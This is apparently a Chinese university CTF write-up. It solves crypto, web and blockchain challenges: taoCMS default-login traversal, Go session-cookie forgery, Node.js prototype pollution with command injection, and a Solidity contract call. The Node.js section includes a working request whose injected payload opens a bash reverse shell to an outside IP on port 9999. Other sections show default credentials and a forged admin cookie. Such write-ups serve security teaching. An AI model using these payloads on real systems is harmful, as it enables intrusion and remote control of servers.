校赛wp
Crypto
solve_me
先费马分解
flag{fa2371c5-bf58-4502-9fea-caf12a85d1ff}
web
Easycms
打开页面,页面显示taoCMS演示系统,想着应该有漏洞,上网搜taocms漏洞
看到文章http://blog.csdn.net/m0_46684679/article/details/129214411
访问url/admin/admin.php
弹出一个登录界面,
账户admin
密码tao
登录成功,跳转到这个界面
点击文件管理,进入../../../看到flag,点开看到flag
QLNU{woW_CMs_1s_DAngeR0us_41rI9h7?_91b5e2b34cc2}
Answered
附脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import requests import re import time
session = requests.session() result = 1 while True: burp0_url = "http://qlnuctf.shenghuo2.top:49194/" burp0_cookies = {"session": "eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NjY1NjY0OS43ODcwNTZ9.ZSDtCQ.0RE2Dez4_dd5v-o6Hk_rVi_UnpE"} burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55", "Origin": "http://qlnuctf.shenghuo2.top:49194", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://qlnuctf.shenghuo2.top:49194/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"} burp0_data = {"answer": result} res_2 = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
timu_2 = re.search(r'<h3>(.*?)</h3>', res_2.text) if '异或' in timu_2.group(1): pattern = r'题目:(\d+) 异或 (\d+) = ? ' match = re.search(pattern, res_2.text) result = int(match.group(1)) ^ int(match.group(2)) elif '与' in timu_2.group(1): pattern = r'题目:(\d+) 与 (\d+) = ? ' match = re.search(pattern, res_2.text) result = int(match.group(1)) & int(match.group(2)) else: pattern = r'题目:(\d+) (.) (\d+) = ? ' match = re.search(pattern, res_2.text) group_1 = int(match.group(1)) group_3 = int(match.group(3)) if match.group(2) == '+': result = group_1 + group_3 elif match.group(2) == '-': result = group_1 - group_3 elif match.group(2) == 'x': result = group_1 * group_3 elif match.group(2) == '÷': result = group_1 // group_3 if "flag" in res_2.text: print(res_2.text) time.sleep(1)
|
小tips:有一点难的是就是,发的包需要是完整的,加上session(最主要的),之前没有完整的数据包,搞了半天不行。。。
EasyGo
下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。
查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag
总共有两个路由,一个“/“路由,一个”/readflag”路由
根路由 /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main
import ( "main/route"
"github.com/gin-gonic/gin"
)
func main() { r := gin.Default() r.GET("/", route.Index) r.GET("/readflag", route.Readflag) r.Run("0.0.0.0:8000") }
|
最主要的一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "User" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, User. How to become admin?")
}
|
可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, User. How to become admin?
想到需要伪造session
上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。
这里将route.go修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == "" { session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, User. How to become admin?")
}
|
之后在附件目录
命令行go run main.go
之后访问127.0.0.1:8000获取session
得到session
MTY5NjY1NDM2M3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx83HZpaT0T7b2lYtEd0cAmvQ_sS926v-ycwnspOHOOGw==
这里呼应前面修改之后他不跳转,一直显示Hello, User. How to become admin?,修改之后需要访问url/readflag才能看到回显
访问url/readflag可以看到出现了你已经是admin,怎么获得flag
1 2 3 4 5 6 7 8 9 10 11
| if session.Values["name"] == "admin" { c.String(200, "Congratulation! You are admin,But how to get flag?\n")
path := c.Query("filename") reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`) if reg.MatchString(path) { http.Error(c.Writer, "nonono", http.StatusInternalServerError) return }
|
读源码看到需要filename读文件,过滤了好多字符,没过滤?通配符读flag就好
Nodejs
这个题基本上原题了。。。。原题是贵阳大数据及网络安全精英对抗赛的JUST_PROTO
http://cloud.tencent.com/developer/article/2282627
下载附件直接看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| const express = require('express'); const { exec } = require("child_process"); const app = express();
app.get('/', (req, res) => res.send('谁说JavaScript不算Java'));
let gift = { s1: (token)=>{ return !!token }, sl: ()=>{ if ( JSON.stringify(si).length > 8000) si = {} }, };
let si = {};
app.get('/set', (req, res) => { gift.sl(); const {token, key, val} = req.query; if (!gift.s1(token) || !val) return res.send("what?"); si[token][key] = val; res.json({ is_succ: true }) });
app.get('/get', (req, res) => { const {token, key} = req.query; if (!gift.s1(token)) return res.send("what?"); let result = si[token]; if (result) result = result[key]; res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined }) });
app.put('/up', (req, res) => { let date_stream = Buffer.from(JSON.stringify(si)); const cmd = gift.redis_set + `date ${date_stream.toString('base64')}`; exec(cmd, (err,_,__) => { if (err) return res.json({ is_succ: false }); res.json({ is_succ: true }); }); });
app.listen(8080, () => console.log(`谁说JavaScript不算Java`));
|
原型链污染,其中的exec存在命令拼接
1 2 3 4 5
| import requests
print(requests.get( "http://k2p.shenghuo2.top:40046/set?token=__proto__&key=redis_set&val=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F123.57.236.154%2F9999%200%3E%261';").text) requests.put(f"http://k2p.shenghuo2.top:40046/up")
|
Blockchain
准备工作 nc工具 MetaMask remix网站
本题借鉴文章http://coldwinds5167.github.io/2022/10/Blockchain-solve/
先利用题目给了水龙头,创建一个账户
根据要求,发多于0.01个测试币注册账号
之后访问2(需要手动推出nc重新链接)
提取他给的contrant address
0x002C8040CC431dCd9440B966E5A3f63B9ab61F56
在这之前你需要利用题目给的水龙头和rcp创建钱包账户
选中网络
之后点添加网络-手动添加网络
之后复制你钱包地址
放到给的水龙头地址
之后你的账户里就有钱了
之后访问4,得到合约
pragma solidity 0.8.9;
contract Greeter {
string greeting;
constructor(string memory _greeting) {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory ctf = "YouAreTheFutur3ofQLNU";
return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}}
我们这里用到remix
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| pragma solidity 0.8.9;
contract Greeter { string greeting;
constructor(string memory _greeting) { greeting = _greeting; }
function greet() public view returns (string memory) { return greeting; }
function setGreeting(string memory _greeting) public { greeting = _greeting; }
function isSolved() public view returns (bool) { string memory ctf = "YouAreTheFutur3ofQLNU"; return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting)); } }
contract exp{ address transcation=0xbaed0e840640c1d979ACed1315e14D983808F9F5; Greeter target=Greeter(transcation); constructor()payable{} function hack() public returns(bool){ bool ans=false; string memory greeting="YouAreTheFutur3ofQLNU"; target.setGreeting(greeting); ans=target.isSolved(); return ans; } }
|
红色的地方要对应起来
先对应第一步,先inject的那个,第二步deploy,之后小狐狸钱包(MetaMask)会弹窗让你确认,等到下面出现绿色对号就可,第三步hack,小狐狸钱包发钱,成功后,回去访问4就可以了